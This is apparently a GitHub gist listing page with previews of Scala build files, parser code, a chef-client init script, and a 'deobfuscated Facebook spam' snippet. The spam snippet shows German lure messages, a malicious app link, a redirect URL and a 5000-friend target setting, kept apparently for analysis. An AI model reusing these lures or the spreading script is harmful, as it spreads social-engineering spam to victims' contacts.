Skip to content

Instantly share code, notes, and snippets.

% g8
Getting Scala 2.8.0 ...
:: retrieving :: org.scala-tools.sbt#boot-scala
confs: [default]
2 artifacts copied, 0 already retrieved (14484kB/183ms)
Getting net.databinder giter8_2.8.0 0.1.1 ...
downloading http://scala-tools.org/repo-releases/net/databinder/giter8_2.8.0/0.1.1/giter8_2.8.0-0.1.1.jar ...
[SUCCESSFUL ] net.databinder#giter8_2.8.0;0.1.1!giter8_2.8.0.jar (596ms)
downloading http://maven.clapper.org/org/clapper/scalasti_2.8.0/0.5/scalasti_2.8.0-0.5.jar ...
[SUCCESSFUL ] org.clapper#scalasti_2.8.0;0.5!scalasti_2.8.0.jar (362ms)
#Project properties
#Mon Nov 01 17:04:45 CET 2010
project.organization=test
project.name=sbt-specs-test
sbt.version=0.7.4
project.version=1.0
build.scala.versions=2.8.0
project.initialize=false
@jrudolph
jrudolph / .gitignore
Created December 4, 2010 11:23
Local variable vs. JIT test
*.class
package wolv.parserlibproblem
import util.parsing.ast.AbstractSyntax
import util.parsing.combinator.syntactical.TokenParsers
import util.parsing.combinator.lexical.Lexical
import util.parsing.combinator.token.Tokens
trait SimpleTokens extends Tokens {
case class Foo extends Token
case class Bar extends Token
#Project properties
#Mon Mar 28 17:17:14 CEST 2011
project.organization=vv
project.name=ParserTest
sbt.version=0.7.5.RC1
project.version=1.0
build.scala.versions=2.8.1
project.initialize=false
@jrudolph
jrudolph / class.svg
Created April 8, 2011 09:38
new small icons for scaladoc
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@jrudolph
jrudolph / deobfuscated.js
Created April 25, 2011 18:19
deobfuscated Facebook spam
var chatmessage = '%firstname% wow facebook kann dir jetzt anzeigen wer dein Profil ansieht! Schaus dir an @ ow.ly/4GpHi';
var postmessage = 'Meine Top Profil-Stalker: \n\ %tf% - 1136 Besuche \n\ %tf% - 983 Besuche \n\ %tf% - 542 Besuche \n\ %tf% - 300 Besuche \n\ Schau dir an wer dein Profil sieht @ http://apps.facebook.com/iuhuihuuuuh/?o4dv7sq2';
var redirect = 'http://germancpa.blogspot.com/';
var eventdesc = 'Schau dir deine Profil-Stalker an - http://apps.facebook.com/iuhuihuuuuh/?o4dv7sq2';
var eventname = 'WOW Jetzt kannst du sehen wer sich dein Profil ansieht!';
var nfriends = 5000;
var debug = false;
var wf = 0;
var mf = function () {
if (wf <= 0) {
@jrudolph
jrudolph / Generator.scala
Created May 2, 2011 07:10
nocps Generator
class Generator[T](body: => T) {
def generate(i: Int): Seq[T] = (0 until i) map (_ => body)
}
object Main {
def main(args: Array[String]) {
def genInt = util.Random.nextInt
def genBool = util.Random.nextBoolean
case class A(i: Int, b: Boolean)
@jrudolph
jrudolph / build.properties
Created May 3, 2011 12:08
PrivateShadowing
#Project properties
#Tue May 03 13:46:53 CEST 2011
project.organization=test
project.name=PackageShadow
sbt.version=0.7.6.RC0
project.version=1.0
build.scala.versions=2.8.1 2.9.0.RC2
project.initialize=false
@jrudolph
jrudolph / chef-client
Created May 27, 2011 08:11
Chef-client init.d script
#! /bin/sh
### BEGIN INIT INFO
# Provides: chef-client
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Initscript to run chef-client daemon
# Description: Starts the chef-client daemon automatically upon start
### END INIT INFO